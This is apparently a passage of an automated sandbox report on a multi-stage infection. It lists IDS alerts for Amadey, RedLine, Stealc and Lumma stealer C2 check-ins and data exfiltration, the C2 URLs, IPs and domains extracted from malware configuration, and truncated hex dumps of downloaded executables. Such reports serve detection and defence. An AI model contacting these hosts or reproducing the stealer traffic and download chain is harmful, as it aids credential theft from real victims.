Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp byte ptr [ebx], 00000000h 14_2_00EC4E26
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then xor eax, eax 14_2_00EC4E26
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then xor eax, eax 14_2_00EBEFFC
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp+00000120h] 14_2_00EBEFFC
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h 14_2_00ECCFF0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00ED6F20
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then mov eax, dword ptr [esp] 14_2_00EFAF10
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah 14_2_00EFAF10

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49712 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49710 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.5:49710
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49715 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.5:49714 -> 95.179.250.45:26212
Source: Network traffic Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.5:49719 -> 65.21.18.51:45580
Source: Network traffic Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.5:49719 -> 65.21.18.51:45580
Source: Network traffic Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 65.21.18.51:45580 -> 192.168.2.5:49719
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49720 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49723 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49721 -> 185.215.113.26:80
Source: Network traffic Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.5:49714 -> 95.179.250.45:26212
Source: Network traffic Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 95.179.250.45:26212 -> 192.168.2.5:49714
Source: Network traffic Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 95.179.250.45:26212 -> 192.168.2.5:49714
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49722 -> 185.215.113.17:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49722 -> 185.215.113.17:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.17:80 -> 192.168.2.5:49722
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49722 -> 185.215.113.17:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.17:80 -> 192.168.2.5:49722
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49722 -> 185.215.113.17:80
Source: Network traffic Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 65.21.18.51:45580 -> 192.168.2.5:49719
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.26:80 -> 192.168.2.5:49721
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49728 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49731 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49738 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.5:49743 -> 89.105.223.196:29862
Source: Network traffic Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.5:49743 -> 89.105.223.196:29862
Source: Network traffic Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 89.105.223.196:29862 -> 192.168.2.5:49743
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49744 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49749 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.5:49750 -> 185.215.113.67:15206
Source: Network traffic Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.5:49750 -> 185.215.113.67:15206
Source: Network traffic Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 185.215.113.67:15206 -> 192.168.2.5:49750
Source: Network traffic Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 89.105.223.196:29862 -> 192.168.2.5:49743
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49755 -> 91.202.233.158:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49757 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 185.215.113.67:15206 -> 192.168.2.5:49750
Source: Network traffic Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.5:60924 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49761 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.5:54804 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49763 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.5:49764 -> 104.21.4.136:443
Source: Network traffic Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.5:63062 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.5:49768 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49767 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.5:52855 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.5:49770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49753 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.5:56006 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.5:55665 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49775 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.5:49777 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.5:49772 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.5:60964 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49774 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.5:49779 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.5:55686 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.5:49780 -> 172.67.208.139:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49785 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49782
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49796 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49782 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49791 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49779 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49761 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49779 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49761 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49764 -> 104.21.4.136:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49786 -> 104.21.2.13:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49780 -> 172.67.208.139:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49764 -> 104.21.4.136:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49786 -> 104.21.2.13:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49775 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49780 -> 172.67.208.139:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49775 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49777 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49777 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49768 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49772 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49772 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49768 -> 188.114.97.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: Malware configuration extractor URLs: lootebarrkeyn.shop
Source: Malware configuration extractor URLs: ghostreedmnu.shop
Source: Malware configuration extractor URLs: fragnantbui.shop
Source: Malware configuration extractor URLs: vozmeatillu.shop
Source: Malware configuration extractor URLs: stogeneratmns.shop
Source: Malware configuration extractor URLs: reinforcenh.shop
Source: Malware configuration extractor URLs: offensivedzvju.shop
Source: Malware configuration extractor URLs: gutterydhowi.shop
Source: Malware configuration extractor URLs: drawzhotdog.shop
Source: Malware configuration extractor URLs: 188.190.10.161
Source: Malware configuration extractor URLs: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: Malware configuration extractor IPs: 185.215.113.16
Source: Malware configuration extractor URLs: 95.179.250.45:26212
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 185.215.113.67 ports 0,1,2,5,6,15206
Yara detected Generic Downloader
Source: Yara match File source: 36.2.rstxdhuj.exe.4141590.4.raw.unpack, type: UNPACKEDPE
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:49714 -> 95.179.250.45:26212
Source: global traffic TCP traffic: 192.168.2.5:49719 -> 65.21.18.51:45580
Source: global traffic TCP traffic: 192.168.2.5:49743 -> 89.105.223.196:29862
Source: global traffic TCP traffic: 192.168.2.5:49750 -> 185.215.113.67:15206
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:04 GMTContent-Type: application/octet-streamContent-Length: 320000Last-Modified: Wed, 11 Sep 2024 19:08:04 GMTConnection: keep-aliveETag: "66e1ea94-4e200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 67 e5 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d8 04 00 00 08 00 00 00 00 00 00 5e f7 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 f7 04 00 4b 00 00 00 00 00 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 d8 f5 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 d7 04 00 00 20 00 00 00 d8 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 06 00 00 00 00 05 00 00 06 00 00 00 da 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 f7 04 00 00 00 00 00 48 00 00 00 02 00 05 00 68 e8 04 00 70 0d 00 00 03 00 02 00 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 49 98 c5 eb e4 07 3d 4e 57 c4 94 0e b8 53 b5 28 8c a4 60 7d 43 e0 bd be a1 50 3f 32 96 e1 7f 68 ee 09 6c 85 3c 41 15 49 09 ba d4 fa f6 43 4e bc b8 ee c3 2f 99 75 8f 13 54 98 eb 94 d5 14 eb ae 0f 0f 40 0b 24 ba 30 ac ba 72 e4 aa c5 d3 22 5f 38 29 4c a5 93 97 73 a9 59 51 ec 11 25 fb 2f 3f dd c0 ca 4c 9f a3 37 65 26 5b d4 7a e2 92 dd eb bd c1 ae 2a 12 e3 6a 2e 9a 38 4a cb f5 ec b2 73 6e a8 3d e2 e0 4f dc a1 c9 e4 7c b2 90 d7 6e b7 f6 87 10 17 67 55 44 47 b4 ac 48 4b 1b 0e e4 87 e2 52 05 54 dc fa e9 31 4c 7a ca d5 dd 7f 0d 46 b5 7f 5e 6c ca b6 79 a8 7b 4a 80 90 42 7c 80 f8 ad 60 9f 6f 48 f3 8c 33 c5 fb 13 ac f3 56 4e d2 d8 66 94 7d 4a 06 87 f6 2f bf 3f 7f b6 89 bf dd e0 a0 b3 da b3 34 6e 45 85 53 86 a8 f1 e1 33 41 b1 d3 72 04 4d 9e 7f 71 66 e7 05 7b 8b 08 d6 a9 8b fd 21 49 55 07 c8 2f b1 4d 85 3f 3e f0 02 88 e8 08 a2 30 e7 65 94 96 58 16 66 e9 0b b0 69 09 55 69 17 02 ad cf a0 60 fc 77 be 88 66 61 b4 fe 4c 77 69 b7 56 4d a0 69 e1 34 ac d
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:06 GMTContent-Type: application/octet-streamContent-Length: 903168Last-Modified: Wed, 25 Sep 2024 19:30:48 GMTConnection: keep-aliveETag: "66f464e8-dc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b6 64 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 be 0d 00 00 08 00 00 00 00 00 00 ee dc 0d 00 00 20 00 00 00 e0 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 0e 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 dc 0d 00 57 00 00 00 00 e0 0d 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 0c 00 00 00 5c db 0d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 bc 0d 00 00 20 00 00 00 be 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00 00 e0 0d 00 00 06 00 00 00 c0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0e 00 00 02 00 00 00 c6 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 dc 0d 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 ca 0d 00 9c 10 00 00 03 00 02 00 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c6 6b ae d1 cd 28 d7 51 9d 2e cd 47 51 4c b3 ec 71 b5 82 95 83 cc 4e 71 72 d8 5c 9c 5e 76 e3 84 45 f8 df e1 e3 3c 8a 1c 40 3d ea aa d5 1c 29 21 62 e6 3d 71 51 2e ec b2 2e 42 0e 63 fc 1c 8c c6 ce 3c bf 71 b5 69 92 20 41 eb a1 b5 51 45 2c 54 ae 14 7e 66 cb 58 33 ec 89 ec 1e 81 df 7e f2 8f dd 9d 24 15 29 0a 28 38 74 07 ac a7 9b c4 e1 01 ec ed 72 e2 63 40 10 de 9e 13 69 a8 32 85 3f c4 2d 14 38 d1 fe 2d 09 84 e1 e8 c6 a0 3a 05 b1 ac 27 49 b2 60 44 f2 e6 aa d3 3f 2f 33 3f c5 1d d2 57 50 1f 27 db 02 c0 58 4c 7a 96 12 ce ef 62 12 7c 20 32 97 e1 d4 88 c4 2a 12 d6 86 ed 5c 0b 15 a6 11 1a d4 ad 8b 9d 42 19 0f a1 ed 48 67 24 33 70 df ad 7c 2b 73 fc b8 4b 8f b1 11 ee 5a cb 6d ba 60 fb f1 ce eb 77 7f 09 77 bd 69 f1 ba 56 74 06 0f 6e ef 4c 4c 0a db f7 64 0e 60 61 8e 4f 8b c8 54 c4 fc 9e ca 05 c8 c0 23 6b b5 30 44 40 64 9a fc 38 70 a4 7b 2e 3f 5a 0c d0 8e 2d c7 c8 5c 57 bf ea bf cf 2c a7 28 b6 c7 50 cc 17 26 60 4c 06 09 3f 5a ef c4 4a 2c 79 fd 3a a0 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:09 GMTContent-Type: application/x-msdos-programContent-Length: 425984Connection: keep-aliveLast-Modified: Sat, 24 Aug 2024 17:17:20 GMTETag: "68000-620711078a800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a0 15 ca 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 45 d7 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 00 06 00 8c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 3c 4c 00 00 e0 90 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 91 05 00 18 00 00 00 18 91 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 c8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0a e5 04 00 00 10 00 00 00 e6 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 38 10 01 00 00 00 05 00 00 12 01 00 00 ea 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 66 00 00 00 20 06 00 00 34 00 00 00 fc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 30 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 4c 00 00 00 a0 06 00 00 4e 00 00 00 32 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 